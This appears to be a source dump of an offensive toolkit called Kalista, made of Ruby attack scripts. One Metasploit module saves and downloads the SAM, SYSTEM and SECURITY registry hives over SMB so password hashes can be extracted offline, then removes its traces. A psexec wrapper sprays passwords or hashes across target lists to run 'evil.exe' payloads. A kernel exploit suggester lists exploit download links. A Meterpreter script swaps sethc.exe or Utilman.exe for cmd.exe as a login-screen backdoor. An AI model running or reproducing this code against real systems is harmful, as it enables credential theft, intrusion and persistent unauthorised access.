17 | include Msf::Auxiliary::Report
18 |
19 | # Aliases for common classes
20 | SIMPLE = Rex::Proto::SMB::SimpleClient
21 | XCEPT= Rex::Proto::SMB::Exceptions
22 | CONST= Rex::Proto::SMB::Constants
23 |
24 | def initialize(info = {})
25 | super(update_info(info,
26 | 'Name' => 'PsExec Key Registry Hives Download Utility',
27 | 'Description'=> %q{
28 | This module authenticates to a Windows box over SMB and creates
29 | a copy of the key Registry Hives (SAM|SYS|SEC|SW) and moves to user specified temp dir.
30 | It then pulls down copies of the Registry hives to store locally for offline parsing.
31 | These Registry hive copies can be used in combination with other tools for
32 | offline extraction of password hashes and a wealth of other info. All of this is
33 | done without uploading a single binary to the target host!
34 | },
35 | 'Author' => [
36 | 'Royce Davis ', # @R3dy__
37 | 'Modded by Hood3dRob1n'
38 | ],
39 | 'License'=> MSF_LICENSE,
40 | 'References' => [
41 | [ 'URL', 'http://sourceforge.net/projects/smbexec' ],
42 | [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ]
43 | ]
44 | ))
45 | register_options([
46 | OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
47 | OptString.new('TMPPATH', [true, 'The path of the Windows Temp directory to use for backups', 'C:\\WINDOWS\\Temp']),
48 | OptString.new('LPATH', [true, 'The LOCAL path to use for saving of backups', "/tmp/"]),
49 | ], self.class)
50 | end
51 |
52 | def peer
53 | return "#{rhost}:#{rport}"
54 | end
55 |
56 | # This is the main control method
57 | def run
58 | # Initialize some variables
59 | @ip = datastore['RHOST']
60 | @smbshare = datastore['SMBSHARE']
61 | bat = "#{datastore['TMPPATH']}\\#{Rex::Text.rand_text_alpha(16)}.bat"
62 | text = "#{datastore['TMPPATH']}\\#{Rex::Text.rand_text_alpha(16)}.txt"
63 |
64 | # Try and connect
65 | if connect
66 | #Try and authenticate with given credentials
67 | begin
68 | smb_login
69 | rescue StandardError => autherror
70 | print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
71 | return
72 | end
73 |
74 | #We can login, now to make backups and download the goods...
75 | print_status("#{peer} - Attempting to snatch key Registry hives....")
76 | make_reg_backups
77 | select(nil, nil, nil, 5.0) #Dramatic pause
78 | download_hives([ datastore['TMPPATH'] +"\\sys", datastore['TMPPATH'] + "\\sec", datastore['TMPPATH'] + "\\sam", datastore['TMPPATH'] + "\\sw" ])
79 |
80 | # Some quick cleanup before leaving
81 | cleanup_after(bat, text, datastore['TMPPATH'] +"\\sys", datastore['TMPPATH'] + "\\sec", datastore['TMPPATH'] + "\\sam", datastore['TMPPATH'] + "\\sw")
82 | disconnect
83 | end
84 | end
85 |
86 | #########################################################################################
87 | # Generate random filename for copy instead of using expected names (sys, sec, sam, hw) #
88 | #########################################################################################
89 | # Make backup copies of the main registry hives
90 | def make_reg_backups
91 | commandz = { 'SYSTEM' => "%COMSPEC% /C reg.exe save HKLM\\SYSTEM #{datastore['TMPPATH']}\\sys", 'SECURITY' => "%COMSPEC% /C reg.exe save HKLM\\SECURITY #{datastore['TMPPATH']}\\sec", 'SAM' => "%COMSPEC% /C reg.exe save HKLM\\SAM #{datastore['TMPPATH']}\\sam", 'SOFTWARE' => "%COMSPEC% /C reg.exe save HKLM\\SOFTWARE #{datastore['TMPPATH']}\\sw" }
92 | commandz.each do |hive,cmdlet|
93 | print_status("Copying #{hive} hive.....")
94 | begin
95 | psexec(cmdlet)
96 | select(nil, nil, nil, 1.0)
97 | rescue StandardError => hiveerror
98 | print_error("#{peer} - Problems making copy of #{hive} hive: #{hiveerror}")
99 | end
100 | end
101 | end
102 |
103 | # Download the Hive Copies we made
104 | def download_hives(arrayofhives)
105 | arrayofhives.each do |hive|
106 | file = hive.to_s.split("\\")[-1]
107 | print_status("#{peer} - Downloading #{hive} to #{datastore['LPATH']}#{file}.....")
108 | simple.connect("\\\\#{@ip}\\#{@smbshare}")
109 | funk = simple.open("#{hive.sub('C:', '')}", 'orb')
110 | data = funk.read
111 | funk.close
112 | f = File.open("#{datastore['LPATH']}#{file}", 'wb')
113 | f.write(data)
114 | f.close
115 | simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
116 | end
117 | end
118 |
119 | # Removes files created during execution.
120 | def cleanup_after(*files)
121 | simple.connect("\\\\#{@ip}\\#{@smbshare}")
122 | print_status("#{peer} - Executing cleanup...")
123 | files.each do |file|
124 | begin
125 | if smb_file_exist?(file.sub('C:', ''))
126 | smb_file_rm(file.sub('C:', ''))
127 | end
128 | rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
129 | print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
130 | end
131 | end
132 | left = files.collect{ |f| smb_file_exist?(f.sub('C:', '')) }
133 | if left.any?
134 | print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
135 | else
136 | print_status("#{peer} - Cleanup was successful")
137 | end
138 | simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
139 | end
140 | end
141 |
--------------------------------------------------------------------------------
/kalista:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 | # Kalista Framework Project
4 | # By: Hood3dRob1n
5 | #
6 |
7 | ########################## EDITS HERE ############################
8 | # We need the paths for DNS tools to use their default wordlists #
9 | # MSF Path so we can use some of its standalone tools too #
10 | # MSF DB Connection details, below is the defaults for Kali #
11 | # Path to KEIMPX Tool, if you dont have it, get it - its awesome #
12 | # Path to PWDUMP for offline registry password hash dumping #
13 | DNSRECON='/usr/share/dnsrecon/' #
14 | DNSMAP='/usr/share/dnsmap/' #
15 | MSFPATH='/usr/share/metasploit-framework' #
16 | MSFDBCREDS='-y /opt/metasploit/apps/pro/ui/config/database.yml' #
17 | KEIMPX='/root/fun/keimpx/' #
18 | PWDUMP='/usr/bin/pwdump' #
19 | ########################## STOP EDITS ############################
20 |
21 | ###### STD GEMS ######
22 | require 'base64' #
23 | require 'fileutils' #
24 | require 'optparse' #
25 | require 'uri' #
26 | require 'webrick' #
27 | #### NON-STD GEMS ####
28 | require 'rubygems' #
29 | require 'colorize' #
30 | require 'readline' #
31 | require 'snmp' #
32 | require 'text-table' #
33 | ######################
34 |
35 | #HOME Constant
36 | HOME=Dir.pwd
37 |
38 | #Clear Terminal
39 | def cls
40 | system('clear')
41 | end
42 |
43 | #Simple Banner
44 | def banner
45 | puts
46 | puts " _|_| _| _| _| ".light_green
47 | puts "_| _| _|_|_| _|_| _|_|_| _| _| _| _|_| _|_| ".light_green
48 | puts "_| _| _| _| _|_|_|_| _| _| _| _| _| _| _|_| _|_|_|_| ".light_green
49 | puts "_| _| _| _| _| _| _| _| _| _| _| _| _| ".light_green
50 | puts " _|_| _|_|_| _|_|_| _| _| _| _| _| _| _|_|_| ".light_green
51 | puts " _| ".light_green
52 | puts " _| ".light_green
53 | puts " OpenWire Project Kalista, v0.1-aplha ".light_red
54 | end
55 |
56 | #PARSE RUNTIME ARGUMENTS
57 | options = {}
58 | optparse = OptionParser.new do |opts|
59 | opts.banner = "Usage:".light_green + "#{$0} ".white + "[".light_green + "OPTIONS".white + "]".light_green
60 | opts.separator ""
61 | opts.separator "EX:".light_green + " #{$0} --main".white
62 | opts.separator "EX:".light_green + " #{$0} --recon".white
63 | opts.separator "EX:".light_green + " #{$0} --brute".white
64 | opts.separator "EX:".light_green + " #{$0} --payloads".white
65 | opts.separator "EX:".light_green + " #{$0} --listener".white
66 | opts.separator "EX:".light_green + " #{$0} --exploit".white
67 | opts.separator "EX:".light_green + " #{$0} --smbfun".white
68 | opts.separator "EX:".light_green + " #{$0} --wifi".white
69 | opts.separator "EX:".light_green + " #{$0} --mitm".white
70 | opts.separator "EX:".light_green + " #{$0} --update".white
71 | opts.separator "EX:".light_green + " #{$0} --help".white
72 | opts.separator ""
73 | opts.separator "Options: ".light_green
74 |
75 | #Establish Mode to Start up in.....
76 | opts.on('-m', '--main', "\n\tMain Menu".white) do |method|
77 | options[:method] = 1
78 | end
79 | opts.on('-r', '--recon', "\n\tRecon & Discovery Menu".white) do |method|
80 | options[:method] = 2
81 | end
82 | opts.on('-b', '--brute', "\n\tLogins & Bruteforce Menu".white) do |method|
83 | options[:method] = 3
84 | end
85 | opts.on('-p', '--payloads', "\n\tPayload Builder Menu".white) do |method|
86 | options[:method] = 4
87 | end
88 | opts.on('-l', '--listener', "\n\tListner Builder Menu".white) do |method|
89 | options[:method] = 5
90 | end
91 | opts.on('-x', '--exploit', "\n\tExploits Menu".white) do |method|
92 | options[:method] = 6
93 | end
94 | opts.on('-w', '--wifi', "\n\tWiFi Menu".white) do |method|
95 | options[:method] = 7
96 | end
97 | opts.on('-M', '--mitm', "\n\tMiTM Menu".white) do |method|
98 | options[:method] = 8
99 | end
100 | opts.on('-u', '--update', "\n\tUpdates Menu".white) do |method|
101 | options[:method] = 9
102 | end
103 | opts.on('-s', '--smbfun', "\n\tSMB Tools Menu".white) do |method|
104 | options[:method] = 10
105 | end
106 |
107 | opts.on('-h', '--help', "\n\tDisplay Help Menu".white) do
108 | cls
109 | banner
110 | puts opts
111 | puts
112 | exit 69;
113 | end
114 | end
115 |
116 | begin
117 | foo = ARGV[0] || ARGV[0] = "-h" #if nothing passed, send to help menu
118 | optparse.parse!
119 | mandatory = [:method]
120 | missing = mandatory.select{ |param| options[param].nil? } #freakout if they dont give us what we stated above :p
121 | if not missing.empty?
122 | puts "Missing option(s): ".red + " #{missing.join(', ')}".white
123 | puts
124 | banner
125 | puts optparse
126 | exit
127 | end
128 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument #catch errors from options parsing and send usage
129 | cls
130 | puts $!.to_s.light_red
131 | puts
132 | banner
133 | puts optparse
134 | puts
135 | exit 666;
136 | end
137 |
138 | require './core/core'
139 | $framework = CoreShell.new
140 | $framework.cls
141 | $framework.banner
142 |
143 | case options[:method].to_i
144 | when 1
145 | $framework.core_shell
146 | when 2
147 | $framework.recon_shell
148 | when 3
149 | $framework.logins_shell
150 | when 4
151 | $framework.payloads_shell
152 | when 5
153 | $framework.listener_shell
154 | when 6
155 | $framework.exploits_shell
156 | when 7
157 | $framework.wifi_shell
158 | when 8
159 | $framework.mitm_shell
160 | when 9
161 | $framework.updates_shell
162 | when 10
163 | $framework.smbfun_shell
164 | else
165 | puts "You shouldn't be here".light_red + "!".white
166 | puts "Leave as fast as you can".light_red + "......".white
167 | puts
168 | exit 666;
169 | end
170 |
--------------------------------------------------------------------------------
/extras/msf/tools/mpx.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 | # MSF PSEXEC.rb Wrapper so we can run it against multiple targtes in a systematic manner
4 | # The standalone PSEXEC runs an upload & exec payload on targets credentials work for
5 | # so make sure you have your muli handler setup as a job and to not exit after session
6 | # so you can catch as many shells as we pop and send its way :)
7 | #
8 | # See Here for help with password hash formats MSF accepts:
9 | # http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
10 | #
11 | # Nothing new here, just a nice wrapper for standalone psexec.rb to squeeze some extra mileage out :)
12 | # By: Hood3dRob1n
13 | #
14 | # EX: mpx.rb -u Administrator -p 'P@$$w0rd!123' -T /root/Desktop/targets.lst -x /root/fun/payloads/evil.exe
15 | # EX: mpx.rb -u Administrator -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -T /root/Desktop/targets.lst -x /root/fun/payloads/evil.exe
16 | # EX: mpx.rb -u IUSR_WIN2003WEB -P /root/fun/passwords/winpass.lst -t 10.10.40.60 -x /root/fun/payloads/evil.exe
17 | #
18 |
19 | ############### EDIT HERE ###############
20 | MSF='/usr/shares/metasploit-framework/' #
21 | ############# NO MORE EDITS #############
22 |
23 | require 'optparse'
24 |
25 | ################ FUNCTION DECLARATIONS ##################
26 | #Trap interupts so we exit cleanly, don't freak out......
27 | trap("SIGINT") { puts "\n\nWARNING! CTRL+C Detected, shutting scanner down now....."; exit; }
28 |
29 | #banner
30 | def banner
31 | puts
32 | puts "OWS: Multi-Scan PSEXEC Wrapper"
33 | puts "By: Hood3dRob1n"
34 | end
35 |
36 | #clear terminal
37 | def cls
38 | system('clear') # posix style clear
39 | end
40 |
41 | #Run a single instance of the ruby psexec.rb tool as it was intended to be run
42 | #Pass it a username, password or hash, a IP for target and the path to the evil.exe payload to use
43 | def single_target(user, pass, target, evil)
44 | puts "Running psexec #{user} #{pass} #{target} #{evil}....."
45 | if @home == @tools
46 | system("psexec.rb #{user} #{pass} #{target} #{evil}")
47 | else
48 | Dir.chdir("#{MSF}tools/") {
49 | system("psexec.rb #{user} #{pass} #{target} #{evil}")
50 | }
51 | end
52 | end
53 |
54 | ################## MAIN ####################
55 | options = {}
56 | # Parse the Arguments Passed for run
57 | optparse = OptionParser.new do |opts|
58 | opts.banner = "Usage:#{$0} [OPTION]"
59 | opts.separator ""
60 | opts.separator "EX: #{$0} [user] [pass|hash|list] [target|list] [payload.exe]"
61 | opts.separator ""
62 | opts.separator "Options: "
63 | #Now setup and layout Options....
64 | opts.on('-u', '--username ', "\n\tUsername to use for authentication") do |username|
65 | username = username.chomp
66 | end
67 | opts.on('-p', '--password ', "\n\tSingle Password or LM:NTLM Hash set to use for Authentication") do |password|
68 | options[:pmethod] = 1 #Single Password Authentication Attack
69 | password = password.chomp
70 | end
71 | opts.on('-P', '--passlist ', "\n\tList with one Password or LM:NTLM Hash per Line") do |pfile|
72 | options[:pmethod] = 2 #Multi-Pass Authentication Attack
73 | if File.exists?(pfile)
74 | options[:pmethod] = 2 #Multi-Pass Authentication Attack
75 | password = File.open(pfile).readlines
76 | else
77 | puts
78 | puts "Can't find provided Password file!"
79 | puts "Please check permissions or path and try again....."
80 | puts
81 | puts opts #print opts outlined above for help
82 | puts
83 | exit 666; # :)
84 | end
85 | end
86 | opts.on('-t', '--target ', "\n\tSingle Target IP") do |target|
87 | options[:tmethod] = 1 #Single Target to Attack
88 | target = target.chomp
89 | end
90 | opts.on('-T', '--targets ', "\n\tList with one Target per line") do |tfile|
91 | if File.exists?(tfile)
92 | options[:tmethod] = 2 #Multiple Targets to Attack
93 | target = File.open(tfile).readlines
94 | else
95 | puts
96 | puts "Can't find provided Targets file!"
97 | puts "Please check permissions or path and try again....."
98 | puts
99 | puts opts #print opts outlined above for help
100 | puts
101 | exit 666; # :)
102 | end
103 | end
104 | opts.on('-x', '--exploit ', "\n\tPath to Binary Payload to run on success") do |evilbin|
105 | if File.exists?(evilbin)
106 | payload = evilbin
107 | else
108 | puts
109 | puts "Can't find provided Payload binary file!"
110 | puts "Please check permissions or path and try again....."
111 | puts
112 | puts opts #print opts outlined above for help
113 | puts
114 | exit 666; # :)
115 | end
116 | end
117 | #Establish help menu
118 | opts.on('-h', '--help', "\n\tHelp Menu") do
119 | cls
120 | banner
121 | puts
122 | puts opts #print opts outlined above for help
123 | puts
124 | exit 69; # :)
125 | end
126 | end
127 | begin
128 | foo = ARGV[0] || ARGV[0] = "-h"
129 | optparse.parse!
130 | mandatory = [:pmethod, :tmethod]
131 | missing = mandatory.select{ |param| options[param].nil? }
132 | if not missing.empty?
133 | puts "Missing or Unknown Options: "
134 | puts optparse
135 | exit 666;
136 | end
137 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument
138 | cls
139 | puts $!.to_s
140 | puts
141 | puts optparse
142 | puts
143 | exit 666;
144 | end
145 | @home=Dir.pwd
146 | @tools="#{MSF}tools/"
147 | #Try user/pass target combos...
148 | if options[:tmethod].to_i == 1
149 | #Single Target to Attack
150 | if options[:pmethod].to_i == 1
151 | #Single Target, Single Pass
152 | single_target(username, password, target, payload)
153 | elsif options[:pmethod].to_i == 2
154 | passwords.each do |pass|
155 | #Single Target, Multi Pass
156 | single_target(username, pass, target, payload)
157 | end
158 | end
159 | elsif options[:tmethod].to_i == 2
160 | #Multiple Targets to Attack
161 | target.each do |targ|
162 | if options[:pmethod].to_i == 1
163 | #Mult Target, Single Pass
164 | single_target(username, password, target, payload)
165 | elsif options[:pmethod].to_i == 2
166 | #Mult Target, Multi Pass
167 | passwords.each do |pass|
168 | single_target(username, pass, target, payload)
169 | end
170 | end
171 | end
172 | end
173 | #EOF
174 |
--------------------------------------------------------------------------------
/extras/fun/sploit_suggester.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | #Add some color without colorize gem since we sticking to std libs for this one :)
4 | RS="\033[0m" # reset
5 | HC="\033[1m" # hicolor
6 | FRED="\033[31m" # foreground red
7 | FGRN="\033[32m" # foreground green
8 | FWHT="\033[37m" # foreground white
9 |
10 | #Trap System interupts so we can exit clean....
11 | trap("SIGINT") { puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected, Shutting things down and exiting program#{FWHT}....#{RS}"; exit 666; }
12 |
13 | def commandz(foo)
14 | bar = IO.popen("#{foo}")
15 | foobar = bar.readlines
16 | return foobar
17 | end
18 |
19 | def suggestions
20 | known_sploits=Hash.new
21 | known_sploits = {
22 | "do_brk" => { "CVE" => "2003-0961", "versions" => ["2.4.0-2.4.22"], "exploits" => ["131"] },
23 | "mremap missing do_munmap" => { "CVE" => "2004-0077", "versions" => ["2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"], "exploits" => ["160"] },
24 | "binfmt_elf Executable File Read" => { "CVE" => "2004-1073", "versions" => ["2.4.0-2.4.27", "2.6.0-2.6.8"], "exploits" => ["624"] },
25 | "uselib()" => { "CVE" => "2004-1235", "versions" => ["2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"], "exploits" => ["895"] },
26 | "bluez" => { "CVE" => "2005-1294", "versions" => ["2.6.0-2.6.11.5"], "exploits" => ["4756", "926"] },
27 | "prctl()" => { "CVE" => "2006-2451", "versions" => ["2.6.13-2.6.17.4"], "exploits" => ["2031", "2006", "2011", "2005", "2004"] },
28 | "proc" => { "CVE" => "2006-3626", "versions" => ["2.6.0-2.6.17.4"], "exploits" => ["2013"] },
29 | "system call emulation" => { "CVE" => "2007-4573", "versions" => ["2.4.0-2.4.30", "2.6.0-2.6.22.7"], "exploits" => ["4460"] },
30 | "vmsplice" => { "CVE" => "2008-0009", "versions" => ["2.6.17-2.6.24.1"], "exploits" => ["5092", "5093"] },
31 | "ftruncate()/open()" => { "CVE" => "2008-4210", "versions" => ["2.6.0-2.6.22"], "exploits" => ["6851"] },
32 | "eCryptfs (Paokara)" => { "CVE" => "2009-0269", "versions" => ["2.6.19-2.6.31.1"], "exploits" => ["spender"] },
33 | "set_selection() UTF-8 Off By One" => { "CVE" => "2009-1046", "versions" => ["2.6.0-2.6.28.3"], "exploits" => ["9083"] },
34 | "UDEV < 141" => { "CVE" => "2009-1185", "versions" => ["2.6.25-2.6.30"], "exploits" => ["8478", "8572"] },
35 | "exit_notify()" => { "CVE" => "2009-1337", "versions" => ["2.6.0-2.6.29"], "exploits" => ["8369"] },
36 | "ptrace_attach() Local Root Race Condition" => { "CVE" => "2009-1527", "versions" => ["2.6.29"], "exploits" => ["8678", "8673"] },
37 | "sock_sendpage() (Wunderbar Emporium)" => { "CVE" => "2009-2692", "versions" => ["2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"], "exploits" => ["9641", "9545", "9479", "9436", "9435", "spender"] },
38 | "udp_sendmsg() (The Rebel)" => { "CVE" => "2009-2698", "versions" => ["2.6.0-2.6.9.2"], "exploits" => ["9575", "9574", "spender3"] },
39 | "(32bit) ip_append_data() ring0" => { "CVE" => "2009-2698", "versions" => ["2.6.0-2.6.9"], "exploits" => ["9542"] },
40 | "perf_counter_open() (Powerglove and Ingo m0wnar)" => { "CVE" => "2009-3234", "versions" => ["2.6.31"], "exploits" => ["spender"] },
41 | "pipe.c (MooseCox)" => { "CVE" => "2009-3547", "versions" => ["2.6.0-2.6.32rc5", "2.4.0-2.4.37"], "exploits" => ["10018", "spender"] },
42 | "CPL 0" => { "CVE" => "2010-0298", "versions" => ["2.6.0-2.6.11"], "exploits" => ["1397"] },
43 | "ReiserFS xattr" => { "CVE" => "2010-1146", "versions" => ["2.6.0-2.6.34rc3"], "exploits" => ["12130"] },
44 | "Unknown" => { "CVE" => 'nil', "versions" => ["2.6.18-2.6.20"], "exploits" => ["10613"] },
45 | "SELinux/RHEL5 (Cheddar Bay)" => { "CVE" => 'nil', "versions" => ["2.6.9-2.6.30"], "exploits" => ["9208", "9191", "spender"] },
46 | "compat" => { "CVE" => "2010-3301", "versions" => ["2.6.27-2.6.36rc4"], "exploits" => ["15023", "15024"] },
47 | "BCM" => { "CVE" => "2010-2959", "versions" => ["2.6.0-2.6.36rc1"], "exploits" => ["14814"] },
48 | "RDS protocol" => { "CVE" => "2010-3904", "versions" => ["2.6.0-2.6.36rc8"], "exploits" => ["15285"] },
49 | "put_user() - full-nelson" => { "CVE" => "2010-4258", "versions" => ["2.6.0-2.6.37"], "exploits" => ["15704"] },
50 | "sock_no_sendpage() - full-nelson" => { "CVE" => "2010-3849", "versions" => ["2.6.0-2.6.37"], "exploits" => ["15704"] },
51 | "ACPI custom_method" => { "CVE" => "2010-4347", "versions" => ["2.6.0-2.6.37rc2"], "exploits" => ["15774"] },
52 | "CAP_SYS_ADMIN" => { "CVE" => "2010-4347", "versions" => ["2.6.34-2.6.37"], "exploits" => ["15916", "15944"] },
53 | "econet_sendmsg() - half-nelson" => { "CVE" => "2010-3848", "versions" => ["2.6.0-2.6.36.2"], "exploits" => ["17787"] },
54 | "ec_dev_ioctl() - half-nelson" => { "CVE" => "2010-3850", "versions" => ["2.6.0-2.6.36.2"], "exploits" => ["17787", "15704"] },
55 | "Mempodipper" => { "CVE" => "2012-0056", "versions" => ["2.6.39-3.1"], "exploits" => ["18411", "mempo"]},
56 | "Archlinux x86-64 sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["24555"]},
57 | "Fedora 18 x86-64 sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["ps1"]},
58 | "Ubuntu 12.10 64-Bit sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["24746"]},
59 | "ipc - half-nelson" => { "CVE" => "2010-4073", "versions" => ["2.6.0-2.6.37rc1"], "exploits" => ["17787"] }
60 | }
61 | k = commandz('uname -r')[0].chomp
62 | specialk = k.split('-')[0] #just a generic check so we dont care about the trailing aspects in this case, comes into play for manual review....
63 | exploit_db = "http://www.exploit-db.com/exploits/"
64 | mempo = "http://git.zx2c4.com/CVE-2012-0056/snapshot/CVE-2012-0056-master.zip"
65 | spender = "http://www.securityfocus.com/data/vulnerabilities/exploits/36423.tgz"
66 | ps1 = "http://packetstormsecurity.com/files/download/120784/fedora-sockdiag.c"
67 | puts "#{HC}#{FGRN}Possible Exploits#{FWHT}: #{RS}"
68 | known_sploits.each do |key, value|
69 | versions = value["versions"]
70 | vsize = versions.size
71 | count=0
72 | found=0
73 | while count.to_i < vsize.to_i
74 | versions.each do |v|
75 | if v =~ /-/
76 | vrange = v.split('-')
77 | min = vrange[0]
78 | max = vrange[1]
79 | else
80 | min = v
81 | max = v
82 | end
83 | if specialk.to_f >= min.to_f and specialk.to_f <= max.to_f
84 | foo = specialk.split('.')
85 | foo.shift
86 | kfoo = foo.join('.')
87 |
88 | foo = min.split('.')
89 | foo.shift
90 | minfoo = foo.join('.')
91 |
92 | foo = max.split('.')
93 | foo.shift
94 | maxfoo = foo.join('.')
95 |
96 | if kfoo.to_f >= minfoo.to_f and kfoo.to_f <= maxfoo.to_f
97 | found = found.to_i + 1
98 | cve = value["CVE"]
99 | exploit = value["exploits"]
100 | puts "#{HC}#{FGRN}Kernel#{FWHT}: #{k}#{RS}"
101 | puts "#{HC}#{FGRN}Possible Exploit#{FWHT}: #{key}#{RS}"
102 | puts "#{HC}#{FGRN}CVE#{FWHT}: #{cve}#{RS}"
103 | puts "#{HC}#{FGRN}Versions Affected#{FWHT}: #{versions.join(', ')}#{RS}"
104 | puts "#{HC}#{FGRN}Downloads Available for Possible Exploit#{FWHT}: "
105 | exploit.each do |sploit|
106 | if sploit == "spender"
107 | puts "#{spender}"
108 | elsif sploit == "mempo"
109 | puts "#{mempo}"
110 | elsif sploit == "ps1"
111 | puts "#{ps1}"
112 | else
113 | puts "#{exploit_db}#{sploit}"
114 | end
115 | end
116 | puts "#{RS}"
117 | end
118 | end
119 | count = count.to_i + 1
120 | end
121 | end
122 | end
123 | end
124 |
125 | suggestions
126 |
--------------------------------------------------------------------------------
/extras/msf/meterpreter/swaparoo.rb:
--------------------------------------------------------------------------------
1 | # $Id:swaparoo.rb $
2 | # $Revision: 01 $
3 | # Meterpreter Swaparoo - Windows Backdoor Method (all Windows versions)
4 | # Authors: Un0wn_X & Hood3dRob1n
5 |
6 | ################## Variable Declarations ##################
7 | session = client #Our victim session object we will work with
8 | #Basic Arguments user can provide when running meterpreter script
9 | @@exec_opts = Rex::Parser::Arguments.new(
10 | "-h" => [ false,"Help menu." ],
11 | "-u" => [ false, "Use Utilman.exe (Sethc.exe used by default)" ],
12 | "-p" => [ false,"Path on target to find Sethc.exe or Utilman.exe (default is %SYSTEMROOT%\\\\system32\\\\)" ],
13 | "-r" => [ false,"Remove payload & Return original back to its place (use with -u for Utilman.exe cleanup)" ]
14 | )
15 |
16 | ################## Function Declarations ##################
17 | #Usage
18 | def usage
19 | print_line("Windows Swaparoo - Sneaks a Backdoor Command Shell in place of Sticky Keys Prompt or Utilman assistant at Login Screen (requires admin privs)")
20 | print_line(@@exec_opts.usage)
21 | raise Rex::Script::Completed
22 | end
23 |
24 | #check for proper Meterpreter Platform
25 | def unsupported
26 | print_error("This version of Meterpreter is not supported with this Script!")
27 | raise Rex::Script::Completed
28 | end
29 |
30 | #check for proper privileges are in place to run the tasks (i.e. are we admin?)
31 | def notadmin
32 | print_error("You need admin privs to run this!")
33 | print_error("Try using 'getsystem' or one of the many escalation scripts and try again.......")
34 | raise Rex::Script::Completed
35 | end
36 |
37 | #Execute our list of command needed to achieve the backdooring (sethc.exe vs Utilman.exe) or cleanup tasks :p
38 | def list_exec(session, cmdlst) #session is our meter sessions, cmdlst is our array of commands to run on target
39 | r=''
40 | session.response_timeout=120
41 | cmdlst.each do |cmd|
42 | begin
43 | print_status("Executing: #{cmd}")
44 | r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
45 | while(d = r.channel.read)
46 | break if d == ""
47 | end
48 | r.channel.close
49 | r.close
50 | rescue ::Exception => e
51 | print_error("Error Running Command #{cmd}: #{e.class} #{e}")
52 | end
53 | end
54 | end
55 |
56 | # check if UAC is enabled (the builtin for privs isn't workign for me for somereason so I made a new version), idk.....
57 | def uac_enabled
58 | #Confirm target could have UAC, then find out level its running at if possible
59 | if session.sys.config.sysinfo['OS'] !~ /Windows Vista|Windows 2008|Windows [78]/
60 | uac = false
61 | else
62 | begin
63 | key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ)
64 | if key.query_value('EnableLUA').data == 1
65 | uac = true
66 | print_status("UAC is Enabled, checking level...")
67 | # key.close
68 | uac_level = key.query_value('ConsentPromptBehaviorAdmin').data
69 | if uac_level.to_i == 2
70 | print_error("UAC is set to 'Always Notify'")
71 | print_error("Things won't work under these conditions.....")
72 | raise Rex::Script::Completed
73 | elsif uac_level.to_i == 5
74 | print_error("UAC is set to Default")
75 | print_error("You should try running 'exploit/windows/local/bypassuac' to bypass UAC restrictions if you haven't already")
76 | elsif uac_level.to_i == 0
77 | print_good("UAC Settings Don't appear to be an issue...")
78 | uac = false
79 | else
80 | print_status("Unknown UAC Setting, if it doesn't work try things manually to see if UAC is blocking......")
81 | uac = false
82 | end
83 | end
84 | key.close
85 | rescue::Exception => e
86 | print_error("Error Checking UAC: #{e.class} #{e}")
87 | end
88 | end
89 | return uac
90 | end
91 |
92 | ##################### MAIN ######################
93 | # Parse our user provided options and run post script accordingly....
94 | sysroot = session.fs.file.expand_path("%SYSTEMROOT%") #now we can get base path for different versions of Windows
95 | path = "#{sysroot}\\\\system32\\\\" #twice is nice (must escape properly for dir dividers
96 | targetexe = 0
97 | helpcall = 0
98 | remove = 0
99 | @@exec_opts.parse(args) do |opt, idx, val|
100 | case opt
101 | when "-h"
102 | helpcall = 1 #Help Menu
103 | when "-u"
104 | targetexe = 1 #0=> Sethc.exe, 1=>Utilman.exe
105 | when "-p"
106 | path = val #override default path
107 | when "-r"
108 | remove = 1 #Run cleanup
109 | end
110 | end
111 | #Make sure we were passed proper arguments to run
112 | if helpcall == 1
113 | usage
114 | end
115 | #we only can do this on windows :p
116 | unsupported if not session.platform =~ /win/i
117 |
118 | #Make sure we are admin
119 | if session.railgun.shell32.IsUserAnAdmin()['return']
120 | print_good("Confirmed, currently running as admin.....")
121 | else
122 | notadmin
123 | end
124 |
125 | #Check if UAC is enabled and potentially going to cause us problems on newer systems
126 | if uac_enabled
127 | print_error("Can't run this on target system without bypassing UAC first!")
128 | print_status("Please make sure you have already done this or script will not work......")
129 | print_status("")
130 | else
131 | print_good("Confirmed, UAC is not an issue!")
132 | end
133 |
134 | #Arrays with our commands we need to accomplish stuff:
135 | sethc = [ "takeown /f #{path}sethc.exe",
136 | "icacls #{path}sethc.exe /grant administrators:f",
137 | "rename #{path}sethc.exe sethc.exe.bak",
138 | "copy #{path}cmd.exe #{path}cmd3.exe",
139 | "rename #{path}cmd3.exe sethc.exe" ]
140 |
141 | utilman = [ "takeown /f #{path}Utilman.exe",
142 | "icacls #{path}Utilman.exe /grant administrators:f",
143 | "rename #{path}Utilman.exe Utilman.exe.bak",
144 | "copy #{path}cmd.exe #{path}cmd3.exe",
